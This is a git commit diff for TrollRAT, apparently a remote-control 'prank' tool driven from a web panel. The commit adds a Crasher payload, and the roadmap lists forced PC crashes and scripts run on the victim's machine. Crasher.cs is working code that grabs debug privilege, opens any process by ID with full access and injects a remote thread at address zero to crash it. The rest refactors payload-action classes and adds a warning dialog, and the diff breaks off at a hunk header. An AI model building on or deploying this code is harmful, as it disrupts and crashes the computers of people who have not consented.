Many Changes & new Crasher Payload

- Crasher Payload for crashing and killing processes + forcing a BSOD. - Changed API for Actions: Payloads are now per-class and not per-method. - New base Type of PayloadAction: Dangerous payload actions, which can display a warning message before executing. - New plugin structure: Each Plugin can now have its own folder.
2016-07-20 14:30:28 +02:00 · 2016-07-20 14:30:28 +02:00 · 31225ed4ec
commit 31225ed4ec
parent c49a5d9768
25 changed files with 745 additions and 109 deletions
--- a/Crasher/Crasher.cs
+++ b/Crasher/Crasher.cs
@ -0,0 +1,65 @@
+using System;
+using System.Diagnostics;
+using System.Runtime.InteropServices;
+
+namespace Crasher
+{
+    static class Crasher
+    {
+        [DllImport("kernel32.dll", SetLastError = true)]
+        static extern IntPtr CreateRemoteThread(IntPtr hProcess,
+                IntPtr lpThreadAttributes, uint dwStackSize, IntPtr
+                lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
+
+        [DllImport("kernel32.dll", SetLastError = true)]
+        public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
+
+        [DllImport("ntdll.dll", SetLastError = true)]
+        public static extern IntPtr RtlAdjustPrivilege(int Privilege, bool Enable,
+                bool IsThreadPrivilege, out bool PreviousValue);
+
+        static void Main()
+        {
+            string[] args = Environment.GetCommandLineArgs();
+
+            if (args.Length != 2)
+                Environment.Exit(-1);
+
+            int pid;
+            if (!int.TryParse(args[1], out pid))
+                Environment.Exit(-2);
+
+            try
+            {
+                Process process = Process.GetProcessById(pid);
+
+                if (process.HasExited)
+                    Environment.Exit(1);
+
+                bool x;
+                RtlAdjustPrivilege(20 /* SeDebugPrivilege */, true, false, out x);
+
+                IntPtr hProcess = OpenProcess(2097151, false, process.Id);
+
+                if (hProcess.ToInt32() != 0)
+                {
+                    IntPtr ret = CreateRemoteThread(hProcess, IntPtr.Zero, 0,
+                        IntPtr.Zero /* Let it execute *0 => Access Violation */,
+                        IntPtr.Zero, 0, new IntPtr());
+
+                    if (ret.ToInt32() != 0)
+                        Environment.Exit(0);
+                    else
+                        Environment.Exit(0x8000000 | Marshal.GetLastWin32Error());
+                        
+                } else
+                    Environment.Exit(0x4000000 | Marshal.GetLastWin32Error());
+                   
+            }
+            catch (Exception)
+            {
+                Environment.Exit(2);
+            }
+        }
+    }
+}
--- a/Crasher/Crasher.csproj
+++ b/Crasher/Crasher.csproj
@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{9AD2E477-397B-4642-9D2C-66196EA2CAA1}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AppDesignerFolder>Properties</AppDesignerFolder>
+    <RootNamespace>Crasher</RootNamespace>
+    <AssemblyName>Crasher</AssemblyName>
+    <TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
+    <FileAlignment>512</FileAlignment>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>..\Debug\Plugins\TrollRATPayloads\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>..\Release\Plugins\TrollRATPayloads\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="System" />
+    <Reference Include="System.Core" />
+    <Reference Include="System.Xml.Linq" />
+    <Reference Include="System.Data.DataSetExtensions" />
+    <Reference Include="Microsoft.CSharp" />
+    <Reference Include="System.Data" />
+    <Reference Include="System.Deployment" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+    <Reference Include="System.Xml" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="Crasher.cs" />
+    <Compile Include="Properties\AssemblyInfo.cs" />
+    <EmbeddedResource Include="Properties\Resources.resx">
+      <Generator>ResXFileCodeGenerator</Generator>
+      <LastGenOutput>Resources.Designer.cs</LastGenOutput>
+      <SubType>Designer</SubType>
+    </EmbeddedResource>
+    <Compile Include="Properties\Resources.Designer.cs">
+      <AutoGen>True</AutoGen>
+      <DependentUpon>Resources.resx</DependentUpon>
+    </Compile>
+    <None Include="Properties\Settings.settings">
+      <Generator>SettingsSingleFileGenerator</Generator>
+      <LastGenOutput>Settings.Designer.cs</LastGenOutput>
+    </None>
+    <Compile Include="Properties\Settings.Designer.cs">
+      <AutoGen>True</AutoGen>
+      <DependentUpon>Settings.settings</DependentUpon>
+      <DesignTimeSharedInput>True</DesignTimeSharedInput>
+    </Compile>
+  </ItemGroup>
+  <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
+  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. 
+       Other similar extension points exist, see Microsoft.Common.targets.
+  <Target Name="BeforeBuild">
+  </Target>
+  <Target Name="AfterBuild">
+  </Target>
+  -->
+</Project>
--- a/Crasher/Properties/AssemblyInfo.cs
+++ b/Crasher/Properties/AssemblyInfo.cs
@ -0,0 +1,36 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// Allgemeine Informationen über eine Assembly werden über die folgenden 
+// Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern,
+// die einer Assembly zugeordnet sind.
+[assembly: AssemblyTitle("Crasher")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("Crasher")]
+[assembly: AssemblyCopyright("Copyright ©  2016")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+
+// Durch Festlegen von ComVisible auf "false" werden die Typen in dieser Assembly unsichtbar 
+// für COM-Komponenten.  Wenn Sie auf einen Typ in dieser Assembly von 
+// COM aus zugreifen müssen, sollten Sie das ComVisible-Attribut für diesen Typ auf "True" festlegen.
+[assembly: ComVisible(false)]
+
+// Die folgende GUID bestimmt die ID der Typbibliothek, wenn dieses Projekt für COM verfügbar gemacht wird
+[assembly: Guid("9ad2e477-397b-4642-9d2c-66196ea2caa1")]
+
+// Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten:
+//
+//      Hauptversion
+//      Nebenversion 
+//      Buildnummer
+//      Revision
+//
+// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern 
+// übernehmen, indem Sie "*" eingeben:
+// [assembly: AssemblyVersion("1.0.*")]
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
--- a/Crasher/Properties/Resources.Designer.cs
+++ b/Crasher/Properties/Resources.Designer.cs
@ -0,0 +1,71 @@
+//------------------------------------------------------------------------------
+// <auto-generated>
+//     Dieser Code wurde von einem Tool generiert.
+//     Laufzeitversion: 4.0.30319.42000
+//
+//     Änderungen an dieser Datei können fehlerhaftes Verhalten verursachen und gehen verloren, wenn
+//     der Code neu generiert wird.
+// </auto-generated>
+//------------------------------------------------------------------------------
+
+namespace Crasher.Properties
+{
+
+
+    /// <summary>
+    ///   Eine stark typisierte Ressourcenklasse zum Suchen von lokalisierten Zeichenfolgen usw.
+    /// </summary>
+    // Diese Klasse wurde von der StronglyTypedResourceBuilder-Klasse
+    // über ein Tool wie ResGen oder Visual Studio automatisch generiert.
+    // Um einen Member hinzuzufügen oder zu entfernen, bearbeiten Sie die .ResX-Datei und führen dann ResGen
+    // mit der Option /str erneut aus, oder erstellen Sie Ihr VS-Projekt neu.
+    [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
+    [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
+    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
+    internal class Resources
+    {
+
+        private static global::System.Resources.ResourceManager resourceMan;
+
+        private static global::System.Globalization.CultureInfo resourceCulture;
+
+        [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
+        internal Resources()
+        {
+        }
+
+        /// <summary>
+        ///   Gibt die zwischengespeicherte ResourceManager-Instanz zurück, die von dieser Klasse verwendet wird.
+        /// </summary>
+        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
+        internal static global::System.Resources.ResourceManager ResourceManager
+        {
+            get
+            {
+                if ((resourceMan == null))
+                {
+                    global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Crasher.Properties.Resources", typeof(Resources).Assembly);
+                    resourceMan = temp;
+                }
+                return resourceMan;
+            }
+        }
+
+        /// <summary>
+        ///   Überschreibt die CurrentUICulture-Eigenschaft des aktuellen Threads für alle
+        ///   Ressourcenlookups, die diese stark typisierte Ressourcenklasse verwenden.
+        /// </summary>
+        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
+        internal static global::System.Globalization.CultureInfo Culture
+        {
+            get
+            {
+                return resourceCulture;
+            }
+            set
+            {
+                resourceCulture = value;
+            }
+        }
+    }
+}
--- a/Crasher/Properties/Resources.resx
+++ b/Crasher/Properties/Resources.resx
@ -0,0 +1,117 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>
--- a/Crasher/Properties/Settings.Designer.cs
+++ b/Crasher/Properties/Settings.Designer.cs
@ -0,0 +1,30 @@
+//------------------------------------------------------------------------------
+// <auto-generated>
+//     This code was generated by a tool.
+//     Runtime Version:4.0.30319.42000
+//
+//     Changes to this file may cause incorrect behavior and will be lost if
+//     the code is regenerated.
+// </auto-generated>
+//------------------------------------------------------------------------------
+
+namespace Crasher.Properties
+{
+
+
+    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
+    [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
+    internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
+    {
+
+        private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
+
+        public static Settings Default
+        {
+            get
+            {
+                return defaultInstance;
+            }
+        }
+    }
+}
--- a/Crasher/Properties/Settings.settings
+++ b/Crasher/Properties/Settings.settings
@ -0,0 +1,7 @@
+<?xml version='1.0' encoding='utf-8'?>
+<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)">
+  <Profiles>
+    <Profile Name="(Default)" />
+  </Profiles>
+  <Settings />
+</SettingsFile>
--- a/Roadmap.md
+++ b/Roadmap.md
@ -11,8 +11,10 @@ If I got new ideas, I will add them here. If you got a good idea, open an Issue
    - [x] Search function
 - API
    - [x] Basic API for Payloads, Actions and Settings
-    - [ ] Support for random Payload Delays
 	- [x] Plugin support
+    - [ ] Support for random Payload Delays
+	- [ ] Plugins can provide their own JavaScript additions
+	- [ ] API for Global Actions (e.g. Screenshot and Run Script)
 - Coding
    - [x] Split server commands into multiple classes
    - [x] Firewall support
@ -28,11 +30,11 @@ If I got new ideas, I will add them here. If you got a good idea, open an Issue
    - [x] Melting Screen
 	- [x] Train/Elevator effect
 	- [x] Draw Pixels to Screen
-    - [ ] Crash PC
+    - [x] Crash PC
    - [x] Earthquake (Shaking Screen)
    - [ ] Shaking Windows
    - [ ] Show/Hide Windows
-    - [ ] Crash single Program
+    - [x] Crash single Program
    - [ ] Draw uploaded Images
    - [ ] Play uploaded Sounds
 	- [x] Text to Speech Output
--- a/TrollRAT.sln
+++ b/TrollRAT.sln
@ -11,6 +11,8 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TrollRATPayloads", "TrollRA
 EndProject
 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TrollRATActions", "TrollRATActions\TrollRATActions.csproj", "{9BF0213E-2757-4898-8C94-42F1E464C468}"
 EndProject
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Crasher", "Crasher\Crasher.csproj", "{9AD2E477-397B-4642-9D2C-66196EA2CAA1}"
+EndProject
 Global
 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
 		Debug|Any CPU = Debug|Any CPU
@ -34,6 +36,7 @@ Global
 		{646733A7-D07D-48D2-B064-EDCADD6DEE1F}.Release|x86.ActiveCfg = Release|Any CPU
 		{646733A7-D07D-48D2-B064-EDCADD6DEE1F}.Release|x86.Build.0 = Release|Any CPU
 		{1CBD0582-81FE-4145-A51A-16FF96EB8B34}.Debug|Any CPU.ActiveCfg = Debug|Win32
+		{1CBD0582-81FE-4145-A51A-16FF96EB8B34}.Debug|Any CPU.Build.0 = Debug|Win32
 		{1CBD0582-81FE-4145-A51A-16FF96EB8B34}.Debug|x64.ActiveCfg = Debug|x64
 		{1CBD0582-81FE-4145-A51A-16FF96EB8B34}.Debug|x64.Build.0 = Debug|x64
 		{1CBD0582-81FE-4145-A51A-16FF96EB8B34}.Debug|x86.ActiveCfg = Debug|Win32
@ -67,6 +70,18 @@ Global
 		{9BF0213E-2757-4898-8C94-42F1E464C468}.Release|x64.Build.0 = Release|Any CPU
 		{9BF0213E-2757-4898-8C94-42F1E464C468}.Release|x86.ActiveCfg = Release|Any CPU
 		{9BF0213E-2757-4898-8C94-42F1E464C468}.Release|x86.Build.0 = Release|Any CPU
+		{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Debug|x64.ActiveCfg = Debug|Any CPU
+		{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Debug|x64.Build.0 = Debug|Any CPU
+		{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Debug|x86.ActiveCfg = Debug|Any CPU
+		{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Debug|x86.Build.0 = Debug|Any CPU
+		{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Release|Any CPU.Build.0 = Release|Any CPU
+		{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Release|x64.ActiveCfg = Release|Any CPU
+		{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Release|x64.Build.0 = Release|Any CPU
+		{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Release|x86.ActiveCfg = Release|Any CPU
+		{9AD2E477-397B-4642-9D2C-66196EA2CAA1}.Release|x86.Build.0 = Release|Any CPU
 	EndGlobalSection
 	GlobalSection(SolutionProperties) = preSolution
 		HideSolutionNode = FALSE
--- a/TrollRAT/Payloads/Payload.cs
+++ b/TrollRAT/Payloads/Payload.cs
@ -14,12 +14,15 @@ namespace TrollRAT.Payloads

        protected List<PayloadAction> actions = new List<PayloadAction>();
        public List<PayloadAction> Actions => actions;
+    }

+    public abstract class ExecutablePayload : Payload
+    {
        protected abstract void execute();

-        public Payload()
+        public ExecutablePayload()
        {
-            actions.Add(new PayloadActionExecute());
+            actions.Add(new PayloadActionExecute(this));
        }

        public void Execute()
@ -29,7 +32,7 @@ namespace TrollRAT.Payloads
        }
    }

-    public abstract class LoopingPayload : Payload
+    public abstract class LoopingPayload : ExecutablePayload
    {
        protected bool running = false;
        public bool Running => running;
@ -44,7 +47,7 @@ namespace TrollRAT.Payloads
            delay = new PayloadSettingNumber(defaultDelay, "Delay (in 1/100 seconds)", 1, 10000, 1);

            settings.Add(delay);
-            actions.Add(new PayloadActionStartStop());
+            actions.Add(new PayloadActionStartStop(this));

            var thread = new Thread(new ThreadStart(Loop));
            thread.Start();
--- a/TrollRAT/Payloads/PayloadAction.cs
+++ b/TrollRAT/Payloads/PayloadAction.cs
@ -1,20 +1,27 @@
 using System;
-using System.Runtime.InteropServices;
 using TrollRAT.Utils;

 namespace TrollRAT.Payloads
 {
    public abstract class PayloadAction : IDBase<PayloadAction>
    {
-        public abstract string getListButton(Payload payload);
-        public abstract string getSettingsButton(Payload payload);
+        protected Payload payload;
+        public Payload Payload => payload;
+
+        public PayloadAction(Payload payload)
+        {
+            this.payload = payload;
+        }
+
+        public abstract string getListButton();
+        public abstract string getSettingsButton();

        // Returns JavaScript to be executed by the client
-        public abstract string execute(Payload payload);
+        public abstract string execute();

        // Returns the JavaScript that should be used for the button
        // in order to trigger its server routine
-        public string getExecuteJavascript()
+        public virtual string getExecuteJavascript()
        {
            return String.Format("execute({0});", id);
        }
@ -22,82 +29,89 @@ namespace TrollRAT.Payloads

    public abstract class SimplePayloadAction : PayloadAction
    {
-        public override string getListButton(Payload payload)
-        {
-            string icon = getIcon(payload);
+        public SimplePayloadAction(Payload payload) : base(payload) { }

-            if (icon == null)
+        public abstract string Title { get; }
+        public abstract string Icon { get; }
+        public virtual string Color => "default";
+
+        public override string getListButton()
+        {
+            if (Icon == null)
                return null;

-            return String.Format("<button type=\"button\" onclick=\"{0}\" class=\"btn btn-default btn-xs\">" +
+            return String.Format("<button type=\"button\" onclick=\"{0}\" class=\"btn btn-{2} btn-xs\">" +
                "<span class=\"glyphicon glyphicon-{1}\" aria-hidden=\"true\"></span></button> ",
-                getExecuteJavascript(), icon);
+                getExecuteJavascript(), Icon, Color);
        }

-        public override string getSettingsButton(Payload payload)
+        public override string getSettingsButton()
        {
-            return String.Format("<button type=\"button\" onclick=\"{0}\" class=\"btn btn-default btn-xl\">" +
-               "{1}</button> ", getExecuteJavascript(), getTitle(payload));
+            return String.Format("<button type=\"button\" onclick=\"{0}\" class=\"btn btn-{2} btn-xl\">" +
+               "{1}</button> ", getExecuteJavascript(), Title, Color);
+        }
    }

-        public abstract string getTitle(Payload payload);
-        public abstract string getIcon(Payload payload);
+    public abstract class DangerousPayloadAction : SimplePayloadAction
+    {
+        public DangerousPayloadAction(Payload payload) : base(payload) { }
+
+        // TODO Proper Escaping
+        public abstract string WarningMessage { get; }
+
+        public override string Color => "danger";
+
+        public override string getExecuteJavascript()
+        {
+            return String.Format("showYesNo('{0}', '{2}', '{1}');", WarningMessage, base.getExecuteJavascript(), Title);
+        }
    }

    public class PayloadActionExecute : SimplePayloadAction
    {
-        public override string execute(Payload payload)
+        public override string Title => "Execute";
+        public override string Icon => "cog";
+
+        public PayloadActionExecute(Payload payload) : base(payload) { }
+
+        public override string execute()
        {
-            payload.Execute();
-            return "void(0);";
+            if (payload is ExecutablePayload)
+            {
+                ExecutablePayload pl = ((ExecutablePayload)payload);
+                pl.Execute();
+            }
+            else
+            {
+                throw new ArgumentException("Payload is not an ExecutablePayload");
            }

-        public override string getIcon(Payload payload) { return "cog"; }
-        public override string getTitle(Payload payload) { return "Execute"; }
+            return "void(0);";
+        }
    }

    public class PayloadActionStartStop : SimplePayloadAction
    {
-        public override string execute(Payload payload)
+        LoopingPayload pl;
+        public PayloadActionStartStop(Payload payload) : base(payload)
        {
            if (payload is LoopingPayload)
-            {
-                LoopingPayload pl = ((LoopingPayload)payload);
-                if (pl.Running)
-                {
-                    pl.Stop();
-                } else
-                {
-                    pl.Start();
-                }
-            } else
-            {
+                pl = ((LoopingPayload)payload);
+            else
                throw new ArgumentException("Payload is not a LoopingPayload");
        }

+        public override string execute()
+        {
+            if (pl.Running)
+                pl.Stop();
+            else
+                pl.Start();
+
            return "update();";
        }
        
-        public override string getIcon(Payload payload)
-        {
-            if (payload is LoopingPayload)
-            {
-                LoopingPayload pl = ((LoopingPayload)payload);
-                return pl.Running ? "stop" : "play";
-            }
-
-            throw new ArgumentException("Payload is not a LoopingPayload");
-        }
-
-        public override string getTitle(Payload payload)
-        {
-            if (payload is LoopingPayload)
-            {
-                LoopingPayload pl = ((LoopingPayload)payload);
-                return pl.Running ? "Stop" : "Start";
-            }
-
-            throw new ArgumentException("Payload is not a LoopingPayload");
-        }
+        public override string Icon => pl.Running ? "stop" : "play";
+        public override string Title => pl.Running ? "Stop" : "Start";
    }
 }
--- a/TrollRAT/Plugins/PluginManager.cs
+++ b/TrollRAT/Plugins/PluginManager.cs
@ -1,5 +1,7 @@
 using System.ComponentModel.Composition;
 using System.ComponentModel.Composition.Hosting;
+using System.IO;
+using System.Reflection;

 namespace TrollRAT.Plugins
 {
@ -10,7 +12,14 @@ namespace TrollRAT.Plugins

        internal void loadPlugins()
        {
-            var catalog = new DirectoryCatalog("Plugins");
+
+            var catalog = new AggregateCatalog();
+
+            foreach (string dir in Directory.GetDirectories(
+                Path.Combine(Path.GetDirectoryName(Assembly.GetCallingAssembly().Location), "Plugins"))) {
+                catalog.Catalogs.Add(new DirectoryCatalog(dir));
+            }
+
            var container = new CompositionContainer(catalog);
            container.ComposeParts(this);

--- a/TrollRAT/Server/ActionCommands.cs
+++ b/TrollRAT/Server/ActionCommands.cs
@ -54,7 +54,7 @@ namespace TrollRAT.Server

        public override void doAction(HttpListenerContext context, Payload payload, PayloadAction action)
        {
-            string response = action.execute(payload);
+            string response = action.execute();
            respondString(response, context.Response, "text/javascript");
        }
    }
--- a/TrollRAT/Server/DetailCommands.cs
+++ b/TrollRAT/Server/DetailCommands.cs
@ -74,7 +74,7 @@ namespace TrollRAT.Server
        {
            foreach (PayloadAction action in payload.Actions)
            {
-                string btn = action.getSettingsButton(payload);
+                string btn = action.getSettingsButton();
                if (btn != null)
                {
                    builder.Append(btn);
--- a/TrollRAT/Server/WebServerCommands.cs
+++ b/TrollRAT/Server/WebServerCommands.cs
@ -48,7 +48,7 @@ namespace TrollRAT.Server

                foreach (PayloadAction action in payload.Actions)
                {
-                    string btn = action.getListButton(payload);
+                    string btn = action.getListButton();
                    if (btn != null)
                    {
                        content.Append(btn);
--- a/TrollRAT/client.html
+++ b/TrollRAT/client.html
@ -101,6 +101,22 @@
 			</div>
 		</div>

+        <div class="modal" id="yesNoModal" tabindex="-1" role="dialog">
+            <div class="modal-dialog">
+                <div class="modal-content">
+                    <div class="modal-header">
+                        <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
+                        <h4 class="modal-title" id="yesNoTitle"></h4>
+                    </div>
+                    <div class="modal-body" id="yesNoContent"></div>
+                    <div class="modal-footer">
+                        <button type="button" data-dismiss="modal" class="btn btn-default">No</button>
+                        <button type="button" data-dismiss="modal" id="yesBtn" class="btn btn-primary">Yes</button>
+                    </div>
+                </div>
+            </div>
+        </div>
+
 		<div class="modal fade" id="screenshotModal" tabindex="-1" role="dialog">
 			<div class="modal-dialog modal-lg">
 				<div class="modal-content">
@ -142,6 +158,13 @@
 			window.setTimeout(function () { blockUpdate = false; }, 5000);
 		}

+		function showYesNo(message, title, yesAction) {
+		    $("#yesBtn").attr("onclick", yesAction);
+		    $("#yesNoTitle").html(title);
+		    $("#yesNoContent").html(message);
+		    $("#yesNoModal").modal();
+		}
+
 		function update() {
 			if (blockUpdate)
 				return;
@ -251,7 +274,10 @@
 				url: "/execute",
 				data: { "id": id, "nocache": new Date().getTime()}
 			}).done(function (js) {
-				eval(js);
+			    // This is not even required, because jQuery already executes the script because of it's MIME type.
+			    // This means, using this, the script would be executed twice.
+
+				//eval(js);
 			}).error(function () {
 				serverFail();
 			});
--- a/TrollRATActions/TrollRATActions.csproj
+++ b/TrollRATActions/TrollRATActions.csproj
@ -17,7 +17,7 @@
    <DebugSymbols>true</DebugSymbols>
    <DebugType>full</DebugType>
    <Optimize>false</Optimize>
-    <OutputPath>..\Debug\Plugins\</OutputPath>
+    <OutputPath>..\Debug\Plugins\TrollRATActions\</OutputPath>
    <DefineConstants>DEBUG;TRACE</DefineConstants>
    <ErrorReport>prompt</ErrorReport>
    <WarningLevel>4</WarningLevel>
@ -26,7 +26,7 @@
  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
    <DebugType>pdbonly</DebugType>
    <Optimize>true</Optimize>
-    <OutputPath>..\Release\Plugins\</OutputPath>
+    <OutputPath>..\Release\Plugins\TrollRATActions\</OutputPath>
    <DefineConstants>TRACE</DefineConstants>
    <ErrorReport>prompt</ErrorReport>
    <WarningLevel>4</WarningLevel>
--- a/TrollRATActions/TrollRATActionsPlugin.cs
+++ b/TrollRATActions/TrollRATActionsPlugin.cs
@ -21,32 +21,36 @@ namespace TrollRATActions

